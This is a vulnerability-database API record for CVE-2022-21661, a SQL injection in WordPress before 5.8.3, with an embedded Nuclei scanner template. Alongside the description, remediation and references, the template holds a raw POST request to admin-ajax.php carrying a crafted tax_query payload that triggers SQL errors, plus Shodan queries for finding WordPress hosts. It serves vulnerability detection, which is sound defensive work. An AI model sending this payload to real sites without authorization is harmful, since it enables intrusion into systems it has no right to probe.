{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-21661/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-21661/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-21661/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-21661/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-21661/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-21661"},"sightings":{"href":"/api/v1/sightings/cve-2022-21661"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-21661.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2022-21661\n\ninfo:\n  name: WordPress <5.8.3 - SQL Injection\n  author: Marcio Mendes\n  severity: high\n  description: |\n    WordPress before 5.8.3 is susceptible to SQL injection through multiple plugins or themes due to improper sanitization in WP_Query, An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.\n  remediation: This has been patched in 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this vulnerability.\n  reference:\n    - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317\n    - https://www.zerodayinitiative.com/blog/2022/1/18/cve-2021-21661-exposing-database-info-via-wordpress-sql-injection\n    - http://packetstormsecurity.com/files/165540/WordPress-Core-5.8.2-SQL-Injection.html\n    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84\n    - https://nvd.nist.gov/vuln/detail/cve-2022-21661\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2022-21661\n    cwe-id: CWE-89\n    epss-score: 0.97795\n    epss-percentile: 0.99904\n    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: wordpress\n    product: wordpress\n    shodan-query:\n      - cpe:\"cpe:2.3:a:wordpress:wordpress\"\n      - http.component:\"wordpress\"\n  tags: cve2022,cve,wp,sqli,wpquery,wpscan,packetstorm,wordpress,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=ecsload&query={\"tax_query\":{\"0\":{\"field\":\"term_taxonomy_id\",\"terms\":[\"\"]}}}&ecs_ajax_settings={\"post_id\":\"1\", \"current_page\":1, \"widget_id\":1, \"theme_id\":1, \"max_num_pages\":10}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"WordPress database error:\")'\n          - 'contains(body, \"error in your SQL syntax\")'\n        condition: and\n# digest: 4b0a0048304602210094a9fbf72629e76cad3a077f2f14f345c75dbc5434e5a5737defd6e7e8d7c6ee02210099cf61d4a9ef1263755402fb5d25e4d6afe1316867dd999103dc390a3266202f:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-21661"}